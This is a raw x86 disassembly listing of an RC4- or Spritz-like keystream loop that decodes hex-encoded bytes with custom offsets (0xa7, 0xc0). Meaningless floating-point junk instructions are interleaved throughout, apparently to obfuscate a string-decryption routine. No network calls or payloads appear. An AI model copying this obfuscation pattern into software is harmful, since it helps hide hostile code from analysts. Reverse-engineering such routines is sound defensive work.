lea esi, [ebp - 0x1d10]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x35a9]
shl ecx, 0
lea edx, [ebp - 0x1d10]
movzx eax, byte [ebp - 0x35a8]
shl eax, 0
lea esi, [ebp - 0x1d10]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3586]
shl edx, 0
lea eax, [ebp - 0x1d10]
movzx ecx, byte [ebp - 0x35a9]
shl ecx, 0
lea esi, [ebp - 0x1d10]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3586]
shl eax, 0
lea ecx, [ebp - 0x1d10]
mov dl, byte [ebp - 0x3660]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x3660]
shl eax, 0
lea ecx, [ebp - 0x1d10]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3662]
add eax, edx
mov byte [ebp - 0x3662], al
movzx ecx, byte [ebp - 0x3640]
movzx edx, byte [ebp - 0x35a8]
shl edx, 0
lea eax, [ebp - 0x1d10]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x3586]
shl eax, 0
lea esi, [ebp - 0x1d10]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x1d10]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x35a9]
shl eax, 0
lea edx, [ebp - 0x1d10]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x35f5]
shl edx, 0
lea esi, [ebp - 0x1d10]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x3662]
shl edx, 0
lea esi, [ebp - 0x1d10]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x1d10]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x1d10]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x35a9], cl
mov cl, byte [ebp - 0x3640]
mov byte [ebp - 0x35f5], cl
mov dl, byte [ebp - 0x35a9]
mov byte [ebp - 0x375c], dl
cmp dword [ebp - 0x3710], 0
jbe 0x47a3dd
mov eax, dword [ebp - 0x3710]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x54]
mov dl, byte [ebp - 0x375c]
mov byte [eax + ecx], dl
mov eax, dword [ebp - 0x39c0]
add eax, 2
mov dword [ebp - 0x39c0], eax
mov ecx, dword [ebp - 0x3710]
add ecx, 1
mov dword [ebp - 0x4dfc], ecx
jmp 0x47a40c
mov edx, dword [ebp - 0x4dfc]
add edx, 1
mov dword [ebp - 0x4dfc], edx
mov eax, dword [ebp - 0x4dfc]
cmp eax, dword [ebp - 0x39c0]
jge 0x47a848
mov ecx, dword [ebp - 0x3710]
add ecx, 1
mov dword [ebp - 0x3710], ecx
mov edx, dword [ebp - 0x3710]
shl edx, 1
mov dword [ebp - 0x3ef4], edx
mov eax, dword [ebp - 0x3ef4]
shl eax, 0
add eax, dword [ebp - 0x4104]
movzx ecx, byte [eax]
mov dword [ebp - 0x3dcc], ecx
mov dword [ebp - 0x3dd0], 0xa7
mov edx, dword [ebp - 0x3710]
shl edx, 1
add edx, 1
mov dword [ebp - 0x3ef8], edx
mov eax, dword [ebp - 0x3ef8]
shl eax, 0
add eax, dword [ebp - 0x4104]
movzx ecx, byte [eax]
mov dword [ebp - 0x3dd4], ecx
mov dword [ebp - 0x3dd8], 0xc0
mov edx, dword [ebp - 0x3dcc]
sub edx, dword [ebp - 0x3dd0]
mov dword [ebp - 0x3ddc], edx
mov eax, dword [ebp - 0x3dd4]
sub eax, dword [ebp - 0x3dd8]
mov dword [ebp - 0x3de0], eax
mov ecx, dword [ebp - 0x3ddc]
shl ecx, 4
mov dword [ebp - 0x3efc], ecx
mov edx, dword [ebp - 0x3de0]
mov dword [ebp - 0x3f00], edx
mov eax, dword [ebp - 0x3efc]
or eax, dword [ebp - 0x3f00]
mov dword [ebp - 0x3f04], eax
mov cl, byte [ebp - 0x3f04]
mov byte [ebp - 0x3640], cl
movzx edx, byte [ebp - 0x35f5]
shl edx, 0
lea eax, [ebp - 0x1d10]
mov cl, byte [edx + eax]
mov byte [ebp - 0x3660], cl
movsd xmm0, qword [0x9dac60]
movsd qword [ebp - 0x57dc], xmm0
movsd xmm0, qword [0x9da9d0]
movsd qword [ebp - 0x56a0], xmm0
movsd xmm0, qword [0x9da758]
movsd qword [ebp - 0x5af8], xmm0
movsd xmm0, qword [0x9da498]
movsd qword [ebp - 0x59b8], xmm0
movsd xmm0, qword [ebp - 0x5af8]
mulsd xmm0, qword [ebp - 0x59b8]
movsd qword [ebp - 0x5af8], xmm0
movsd xmm0, qword [ebp - 0x56a0]
subsd xmm0, qword [ebp - 0x59b8]
movsd qword [ebp - 0x56a0], xmm0
movsd xmm0, qword [ebp - 0x56a0]
subsd xmm0, qword [ebp - 0x59b8]
movsd qword [ebp - 0x56a0], xmm0
movsd xmm0, qword [ebp - 0x56a0]
mulsd xmm0, qword [ebp - 0x59b8]
movsd qword [ebp - 0x56a0], xmm0
movsd xmm0, qword [ebp - 0x5af8]
comisd xmm0, xmmword [ebp - 0x59b8]
jbe 0x47a64f
movzx edx, byte [ebp - 0x3586]
shl edx, 0
lea eax, [ebp - 0x1d10]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x35a8]
add edx, ecx
mov byte [ebp - 0x35a8], dl
mov al, byte [ebp - 0x3586]
add al, 1
mov byte [ebp - 0x3586], al
movsd xmm0, qword [ebp - 0x57dc]
mulsd xmm0, qword [ebp - 0x56a0]
movsd qword [ebp - 0x57dc], xmm0
movsd xmm0, qword [ebp - 0x57dc]
subsd xmm0, qword [ebp - 0x56a0]
movsd qword [ebp - 0x57dc], xmm0
movsd xmm0, qword [ebp - 0x56a0]
subsd xmm0, qword [ebp - 0x5af8]
movsd qword [ebp - 0x56a0], xmm0
movsd xmm0, qword [ebp - 0x59b8]
mulsd xmm0, qword [ebp - 0x57dc]
movsd qword [ebp - 0x59b8], xmm0
jmp 0x47a6af
movsd xmm0, qword [ebp - 0x59b8]
divsd xmm0, qword [ebp - 0x56a0]
movsd qword [ebp - 0x59b8], xmm0
movsd xmm0, qword [ebp - 0x57dc]
divsd xmm0, qword [ebp - 0x5af8]
movsd qword [ebp - 0x57dc], xmm0
movsd xmm0, qword [ebp - 0x5af8]
divsd xmm0, qword [ebp - 0x57dc]
movsd qword [ebp - 0x5af8], xmm0
movsd xmm0, qword [ebp - 0x57dc]
subsd xmm0, qword [ebp - 0x5af8]
movsd qword [ebp - 0x57dc], xmm0
movzx ecx, byte [ebp - 0x35a8]
shl ecx, 0
lea edx, [ebp - 0x1d10]
movzx eax, byte [ebp - 0x35f5]
shl eax, 0
lea esi, [ebp - 0x1d10]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x35a9]
shl edx, 0
lea eax, [ebp - 0x1d10]
movzx ecx, byte [ebp - 0x35a8]
shl ecx, 0
lea esi, [ebp - 0x1d10]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3586]
shl eax, 0
lea ecx, [ebp - 0x1d10]
movzx edx, byte [ebp - 0x35a9]
shl edx, 0
lea esi, [ebp - 0x1d10]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3586]
shl ecx, 0
lea edx, [ebp - 0x1d10]
mov al, byte [ebp - 0x3660]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x3660]
shl ecx, 0
lea edx, [ebp - 0x1d10]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3662]
add ecx, eax
mov byte [ebp - 0x3662], cl
movzx edx, byte [ebp - 0x3640]
movzx eax, byte [ebp - 0x35a8]
shl eax, 0
lea ecx, [ebp - 0x1d10]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x3586]
shl ecx, 0
lea esi, [ebp - 0x1d10]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x1d10]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x35a9]
shl ecx, 0
lea eax, [ebp - 0x1d10]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x35f5]
shl eax, 0
lea esi, [ebp - 0x1d10]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x3662]
shl eax, 0
lea esi, [ebp - 0x1d10]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x1d10]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x1d10]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x35a9], dl
mov dl, byte [ebp - 0x3640]
mov byte [ebp - 0x35f5], dl
mov al, byte [ebp - 0x35a9]
mov byte [ebp - 0x375c], al
cmp dword [ebp - 0x3710], 0
jbe 0x47a843
mov ecx, dword [ebp - 0x3710]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x54]
mov al, byte [ebp - 0x375c]
mov byte [ecx + edx], al
jmp 0x47a3fd
mov ecx, dword [ebp - 0x39c0]
add ecx, 1
mov dword [ebp - 0x39c0], ecx
mov edx, dword [ebp - 0x3710]
add edx, 1
mov dword [ebp - 0x3710], edx
mov eax, dword [ebp - 0x39c0]
add eax, 1
mov dword [ebp - 0x39c0], eax
mov ecx, dword [ebp - 0x3710]
shl ecx, 1
mov dword [ebp - 0x3ef4], ecx
mov edx, dword [ebp - 0x3ef4]
shl edx, 0
add edx, dword [ebp - 0x4104]
movzx eax, byte [edx]
mov dword [ebp - 0x3dcc], eax
mov dword [ebp - 0x3dd0], 0xa7
mov ecx, dword [ebp - 0x3710]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x3ef8], ecx
mov edx, dword [ebp - 0x3ef8]
shl edx, 0
add edx, dword [ebp - 0x4104]
movzx eax, byte [edx]
mov dword [ebp - 0x3dd4], eax
mov dword [ebp - 0x3dd8], 0xc0
mov ecx, dword [ebp - 0x3dcc]
sub ecx, dword [ebp - 0x3dd0]
mov dword [ebp - 0x3ddc], ecx
mov edx, dword [ebp - 0x3dd4]
sub edx, dword [ebp - 0x3dd8]
mov dword [ebp - 0x3de0], edx
mov eax, dword [ebp - 0x3ddc]
shl eax, 4
mov dword [ebp - 0x3efc], eax
mov ecx, dword [ebp - 0x3de0]
mov dword [ebp - 0x3f00], ecx
mov edx, dword [ebp - 0x3efc]
or edx, dword [ebp - 0x3f00]
mov dword [ebp - 0x3f04], edx
mov al, byte [ebp - 0x3f04]
mov byte [ebp - 0x3640], al
movzx ecx, byte [ebp - 0x35f5]
shl ecx, 0
lea edx, [ebp - 0x1d10]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3660], al
movzx ecx, byte [ebp - 0x3586]
shl ecx, 0
lea edx, [ebp - 0x1d10]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x35a8]
add ecx, eax
mov byte [ebp - 0x35a8], cl
mov dl, byte [ebp - 0x3586]
add dl, 1
mov byte [ebp - 0x3586], dl
movzx eax, byte [ebp - 0x35a8]
shl eax, 0
lea ecx, [ebp - 0x1d10]
movzx edx, byte [ebp - 0x35f5]
shl edx, 0
lea esi, [ebp - 0x1d10]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x35a9]
shl ecx, 0
lea edx, [ebp - 0x1d10]
movzx eax, byte [ebp - 0x35a8]
shl eax, 0
lea esi, [ebp - 0x1d10]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3586]
shl edx, 0
lea eax, [ebp - 0x1d10]
movzx ecx, byte [ebp - 0x35a9]
shl ecx, 0
lea esi, [ebp - 0x1d10]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3586]
shl eax, 0
lea ecx, [ebp - 0x1d10]
mov dl, byte [ebp - 0x3660]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x3660]
shl eax, 0
lea ecx, [ebp - 0x1d10]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3662]
add eax, edx
mov byte [ebp - 0x3662], al
movzx ecx, byte [ebp - 0x3640]
movzx edx, byte [ebp - 0x35a8]
shl edx, 0
lea eax, [ebp - 0x1d10]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x3586]
shl eax, 0
lea esi, [ebp - 0x1d10]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x1d10]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x35a9]
shl eax, 0
lea edx, [ebp - 0x1d10]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x35f5]
shl edx, 0
lea esi, [ebp - 0x1d10]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x3662]
shl edx, 0
lea esi, [ebp - 0x1d10]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x1d10]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x1d10]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x35a9], cl
mov cl, byte [ebp - 0x3640]
mov byte [ebp - 0x35f5], cl
mov dl, byte [ebp - 0x35a9]
mov byte [ebp - 0x375c], dl
cmp dword [ebp - 0x3710], 0
jbe 0x47ab14
mov eax, dword [ebp - 0x3710]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x54]
mov dl, byte [ebp - 0x375c]
mov byte [eax + ecx], dl
mov eax, dword [ebp - 0x3710]
add eax, 1
mov dword [ebp - 0x3710], eax
mov ecx, dword [ebp - 0x39c0]
add ecx, 1
mov dword [ebp - 0x39c0], ecx
mov edx, dword [ebp - 0x3710]
shl edx, 1
mov dword [ebp - 0x3ef4], edx
mov eax, dword [ebp - 0x3ef4]
shl eax, 0
add eax, dword [ebp - 0x4104]
movzx ecx, byte [eax]
mov dword [ebp - 0x3dcc], ecx
mov dword [ebp - 0x3dd0], 0xa7
mov edx, dword [ebp - 0x3710]
shl edx, 1
add edx, 1
mov dword [ebp - 0x3ef8], edx
mov eax, dword [ebp - 0x3ef8]
shl eax, 0
add eax, dword [ebp - 0x4104]
movzx ecx, byte [eax]
mov dword [ebp - 0x3dd4], ecx
mov dword [ebp - 0x3dd8], 0xc0
mov edx, dword [ebp - 0x3dcc]
sub edx, dword [ebp - 0x3dd0]
mov dword [ebp - 0x3ddc], edx
mov eax, dword [ebp - 0x3dd4]
sub eax, dword [ebp - 0x3dd8]
mov dword [ebp - 0x3de0], eax
mov ecx, dword [ebp - 0x3ddc]
shl ecx, 4
mov dword [ebp - 0x3efc], ecx
mov edx, dword [ebp - 0x3de0]
mov dword [ebp - 0x3f00], edx
mov eax, dword [ebp - 0x3efc]
or eax, dword [ebp - 0x3f00]
mov dword [ebp - 0x3f04], eax
mov cl, byte [ebp - 0x3f04]
mov byte [ebp - 0x3640], cl
movzx edx, byte [ebp - 0x35f5]
shl edx, 0
lea eax, [ebp - 0x1d10]
mov cl, byte [edx + eax]
mov byte [ebp - 0x3660], cl
movzx edx, byte [ebp - 0x3586]
shl edx, 0
lea eax, [ebp - 0x1d10]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x35a8]
add edx, ecx
mov byte [ebp - 0x35a8], dl
mov al, byte [ebp - 0x3586]
add al, 1
mov byte [ebp - 0x3586], al
movzx ecx, byte [ebp - 0x35a8]
shl ecx, 0
lea edx, [ebp - 0x1d10]
movzx eax, byte [ebp - 0x35f5]
shl eax, 0
lea esi, [ebp - 0x1d10]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movss xmm0, dword [0x9db828]
movss dword [ebp - 0x4df8], xmm0
movss xmm0, dword [0x9db790]
movss dword [ebp - 0x41ac], xmm0
movss xmm0, dword [0x9db6bc]
movss dword [ebp - 0x4ac0], xmm0
movss xmm0, dword [0x9db5e8]
movss dword [ebp - 0x5ab8], xmm0
movss xmm0, dword [0x9db510]
movss dword [ebp - 0x4df4], xmm0
movss xmm0, dword [0x9db41c]
movss dword [ebp - 0x50f8], xmm0
movss xmm0, dword [0x9db338]
movss dword [ebp - 0x41b0], xmm0
movss xmm0, dword [ebp - 0x41ac]
subss xmm0, dword [ebp - 0x41b0]
movss dword [ebp - 0x41ac], xmm0
movss xmm0, dword [ebp - 0x4ac0]
addss xmm0, dword [ebp - 0x41b0]
movss dword [ebp - 0x4ac0], xmm0
movss xmm0, dword [ebp - 0x4df4]
subss xmm0, dword [ebp - 0x41b0]
movss dword [ebp - 0x4df4], xmm0
movss xmm0, dword [ebp - 0x4ac0]
subss xmm0, dword [ebp - 0x41b0]
movss dword [ebp - 0x4ac0], xmm0
movss xmm0, dword [ebp - 0x50f8]
mulss xmm0, dword [ebp - 0x41b0]
movss dword [ebp - 0x50f8], xmm0
movss xmm0, dword [ebp - 0x4df8]
mulss xmm0, dword [ebp - 0x41b0]
movss dword [ebp - 0x4df8], xmm0
movss xmm0, dword [ebp - 0x41ac]
mulss xmm0, dword [ebp - 0x41b0]
movss dword [ebp - 0x41ac], xmm0
movss xmm0, dword [ebp - 0x4df8]
comiss xmm0, dword [ebp - 0x41b0]
jbe 0x47ae62
movss xmm0, dword [ebp - 0x5ab8]
addss xmm0, dword [ebp - 0x4df4]
movss dword [ebp - 0x5ab8], xmm0
movss xmm0, dword [ebp - 0x41ac]
subss xmm0, dword [ebp - 0x4ac0]
movss dword [ebp - 0x41ac], xmm0
movss xmm0, dword [ebp - 0x41ac]
subss xmm0, dword [ebp - 0x4ac0]
movss dword [ebp - 0x41ac], xmm0
movzx edx, byte [ebp - 0x35a9]
shl edx, 0
lea eax, [ebp - 0x1d10]
movzx ecx, byte [ebp - 0x35a8]
shl ecx, 0
lea esi, [ebp - 0x1d10]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movss xmm0, dword [ebp - 0x5ab8]
addss xmm0, dword [ebp - 0x4df4]
movss dword [ebp - 0x5ab8], xmm0
movss xmm0, dword [ebp - 0x41b0]
mulss xmm0, dword [ebp - 0x4df8]
movss dword [ebp - 0x41b0], xmm0
movss xmm0, dword [ebp - 0x4df4]
addss xmm0, dword [ebp - 0x50f8]
movss dword [ebp - 0x4df4], xmm0
movss xmm0, dword [ebp - 0x4df8]
addss xmm0, dword [ebp - 0x41ac]
movss dword [ebp - 0x4df8], xmm0
jmp 0x47af0a
movss xmm0, dword [ebp - 0x41ac]
addss xmm0, dword [ebp - 0x4ac0]
movss dword [ebp - 0x41ac], xmm0
movss xmm0, dword [ebp - 0x41ac]
addss xmm0, dword [ebp - 0x4ac0]
movss dword [ebp - 0x41ac], xmm0
movss xmm0, dword [ebp - 0x41ac]
subss xmm0, dword [ebp - 0x4ac0]
movss dword [ebp - 0x41ac], xmm0
movss xmm0, dword [ebp - 0x41b0]
mulss xmm0, dword [ebp - 0x4df8]
movss dword [ebp - 0x41b0], xmm0
movss xmm0, dword [ebp - 0x4df4]
addss xmm0, dword [ebp - 0x50f8]
movss dword [ebp - 0x4df4], xmm0
movss xmm0, dword [ebp - 0x41b0]
mulss xmm0, dword [ebp - 0x4df8]
movss dword [ebp - 0x41b0], xmm0
movss xmm0, dword [ebp - 0x50f8]
subss xmm0, dword [ebp - 0x41b0]
movss dword [ebp - 0x50f8], xmm0
movzx eax, byte [ebp - 0x3586]
shl eax, 0
lea ecx, [ebp - 0x1d10]
movzx edx, byte [ebp - 0x35a9]
shl edx, 0
lea esi, [ebp - 0x1d10]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3586]
shl ecx, 0
lea edx, [ebp - 0x1d10]
mov al, byte [ebp - 0x3660]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x3660]
shl ecx, 0
lea edx, [ebp - 0x1d10]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3662]
add ecx, eax
mov byte [ebp - 0x3662], cl
movzx edx, byte [ebp - 0x3640]
movzx eax, byte [ebp - 0x35a8]
shl eax, 0
lea ecx, [ebp - 0x1d10]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x3586]
shl ecx, 0
lea esi, [ebp - 0x1d10]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x1d10]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x35a9]
shl ecx, 0
lea eax, [ebp - 0x1d10]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x35f5]
shl eax, 0
lea esi, [ebp - 0x1d10]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x3662]
shl eax, 0
lea esi, [ebp - 0x1d10]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x1d10]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x1d10]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x35a9], dl
mov dl, byte [ebp - 0x3640]
mov byte [ebp - 0x35f5], dl
mov al, byte [ebp - 0x35a9]
mov byte [ebp - 0x375c], al
cmp dword [ebp - 0x3710], 0
jbe 0x47b052
mov ecx, dword [ebp - 0x3710]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x54]
mov al, byte [ebp - 0x375c]
mov byte [ecx + edx], al
movsd xmm0, qword [0x9daff8]
movsd qword [ebp - 0x6024], xmm0
movsd xmm0, qword [0x9dae08]
movsd qword [ebp - 0x56a8], xmm0
movsd xmm0, qword [0x9dabc8]
movsd qword [ebp - 0x53b0], xmm0
movsd xmm0, qword [0x9da958]
movsd qword [ebp - 0x51a0], xmm0
movsd xmm0, qword [0x9da6f8]
movsd qword [ebp - 0x5d5c], xmm0
movsd xmm0, qword [0x9da440]
movsd qword [ebp - 0x59c0], xmm0
movsd xmm0, qword [ebp - 0x51a0]
mulsd xmm0, qword [ebp - 0x59c0]
movsd qword [ebp - 0x51a0], xmm0
movsd xmm0, qword [ebp - 0x56a8]
mulsd xmm0, qword [ebp - 0x59c0]
movsd qword [ebp - 0x56a8], xmm0
movsd xmm0, qword [ebp - 0x6024]
addsd xmm0, qword [ebp - 0x59c0]
movsd qword [ebp - 0x6024], xmm0
movsd xmm0, qword [ebp - 0x51a0]
subsd xmm0, qword [ebp - 0x59c0]
movsd qword [ebp - 0x51a0], xmm0
movsd xmm0, qword [ebp - 0x56a8]
subsd xmm0, qword [ebp - 0x59c0]
movsd qword [ebp - 0x56a8], xmm0
movsd xmm0, qword [ebp - 0x53b0]
subsd xmm0, qword [ebp - 0x59c0]
movsd qword [ebp - 0x53b0], xmm0
movsd xmm0, qword [ebp - 0x59c0]
comisd xmm0, xmmword [ebp - 0x56a8]
jbe 0x47b1ed
movsd xmm0, qword [ebp - 0x56a8]
subsd xmm0, qword [ebp - 0x51a0]
movsd qword [ebp - 0x56a8], xmm0
movsd xmm0, qword [ebp - 0x53b0]
mulsd xmm0, qword [ebp - 0x5d5c]
movsd qword [ebp - 0x53b0], xmm0
movsd xmm0, qword [ebp - 0x5d5c]
addsd xmm0, qword [ebp - 0x6024]
movsd qword [ebp - 0x5d5c], xmm0
movsd xmm0, qword [ebp - 0x59c0]
subsd xmm0, qword [ebp - 0x56a8]
movsd qword [ebp - 0x59c0], xmm0
movsd xmm0, qword [ebp - 0x56a8]
subsd xmm0, qword [ebp - 0x51a0]
movsd qword [ebp - 0x56a8], xmm0
movsd xmm0, qword [ebp - 0x53b0]
mulsd xmm0, qword [ebp - 0x5d5c]
movsd qword [ebp - 0x53b0], xmm0
jmp 0x47b28c
movsd xmm0, qword [ebp - 0x53b0]
mulsd xmm0, qword [ebp - 0x51a0]
movsd qword [ebp - 0x53b0], xmm0
mov ecx, dword [ebp - 0x3710]
add ecx, 1
mov dword [ebp - 0x3710], ecx
movsd xmm0, qword [ebp - 0x53b0]
subsd xmm0, qword [ebp - 0x51a0]
movsd qword [ebp - 0x53b0], xmm0
movsd xmm0, qword [ebp - 0x53b0]
addsd xmm0, qword [ebp - 0x51a0]
movsd qword [ebp - 0x53b0], xmm0
movsd xmm0, qword [ebp - 0x51a0]
addsd xmm0, qword [ebp - 0x5d5c]
movsd qword [ebp - 0x51a0], xmm0
movsd xmm0, qword [ebp - 0x6024]
subsd xmm0, qword [ebp - 0x56a8]
movsd qword [ebp - 0x6024], xmm0
movsd xmm0, qword [ebp - 0x51a0]
addsd xmm0, qword [ebp - 0x5d5c]
movsd qword [ebp - 0x51a0], xmm0
mov edx, dword [ebp - 0x39c0]
add edx, 1
mov dword [ebp - 0x39c0], edx
mov eax, dword [ebp - 0x3710]
shl eax, 1
mov dword [ebp - 0x3ef4], eax
mov ecx, dword [ebp - 0x3ef4]
shl ecx, 0
add ecx, dword [ebp - 0x4104]
movzx edx, byte [ecx]
mov dword [ebp - 0x3dcc], edx
mov dword [ebp - 0x3dd0], 0xa7
mov eax, dword [ebp - 0x3710]
shl eax, 1
add eax, 1
mov dword [ebp - 0x3ef8], eax
mov ecx, dword [ebp - 0x3ef8]
shl ecx, 0
add ecx, dword [ebp - 0x4104]
movzx edx, byte [ecx]
mov dword [ebp - 0x3dd4], edx
mov dword [ebp - 0x3dd8], 0xc0
mov eax, dword [ebp - 0x3dcc]
sub eax, dword [ebp - 0x3dd0]
mov dword [ebp - 0x3ddc], eax
mov ecx, dword [ebp - 0x3dd4]
sub ecx, dword [ebp - 0x3dd8]
mov dword [ebp - 0x3de0], ecx
mov edx, dword [ebp - 0x3ddc]
shl edx, 4
mov dword [ebp - 0x3efc], edx
mov eax, dword [ebp - 0x3de0]
mov dword [ebp - 0x3f00], eax
mov ecx, dword [ebp - 0x3efc]
or ecx, dword [ebp - 0x3f00]
mov dword [ebp - 0x3f04], ecx
mov dl, byte [ebp - 0x3f04]
mov byte [ebp - 0x3640], dl
movzx eax, byte [ebp - 0x35f5]
shl eax, 0
lea ecx, [ebp - 0x1d10]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x3660], dl
movzx eax, byte [ebp - 0x3586]
shl eax, 0
lea ecx, [ebp - 0x1d10]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x35a8]
add eax, edx
mov byte [ebp - 0x35a8], al
mov cl, byte [ebp - 0x3586]
add cl, 1
mov byte [ebp - 0x3586], cl
movzx edx, byte [ebp - 0x35a8]
shl edx, 0
lea eax, [ebp - 0x1d10]
movzx ecx, byte [ebp - 0x35f5]
shl ecx, 0
lea esi, [ebp - 0x1d10]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x35a9]
shl eax, 0
lea ecx, [ebp - 0x1d10]
movzx edx, byte [ebp - 0x35a8]
shl edx, 0
lea esi, [ebp - 0x1d10]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3586]
shl ecx, 0
lea edx, [ebp - 0x1d10]
movzx eax, byte [ebp - 0x35a9]
shl eax, 0
lea esi, [ebp - 0x1d10]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3586]
shl edx, 0
lea eax, [ebp - 0x1d10]
mov cl, byte [ebp - 0x3660]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x3660]
shl edx, 0
lea eax, [ebp - 0x1d10]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3662]
add edx, ecx
mov byte [ebp - 0x3662], dl
movzx eax, byte [ebp - 0x3640]
movzx ecx, byte [ebp - 0x35a8]
shl ecx, 0
lea edx, [ebp - 0x1d10]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x3586]
shl edx, 0
lea esi, [ebp - 0x1d10]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x1d10]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x35a9]
shl edx, 0
lea ecx, [ebp - 0x1d10]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x35f5]
shl ecx, 0
lea esi, [ebp - 0x1d10]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x3662]
shl ecx, 0
lea esi, [ebp - 0x1d10]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x1d10]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x1d10]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x35a9], al
mov al, byte [ebp - 0x3640]
mov byte [ebp - 0x35f5], al
mov cl, byte [ebp - 0x35a9]
mov byte [ebp - 0x375c], cl
cmp dword [ebp - 0x3710], 0
jbe 0x47b53b
mov edx, dword [ebp - 0x3710]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x54]
mov cl, byte [ebp - 0x375c]
mov byte [edx + eax], cl
mov edx, dword [ebp - 0x39c0]
add edx, 3
mov dword [ebp - 0x39c0], edx
mov eax, dword [ebp - 0x3710]
add eax, 1
mov dword [ebp - 0x4dfc], eax
jmp 0x47b56a
mov ecx, dword [ebp - 0x4dfc]
add ecx, 1
mov dword [ebp - 0x4dfc], ecx
mov edx, dword [ebp - 0x4dfc]
cmp edx, dword [ebp - 0x39c0]
jge 0x47b82f
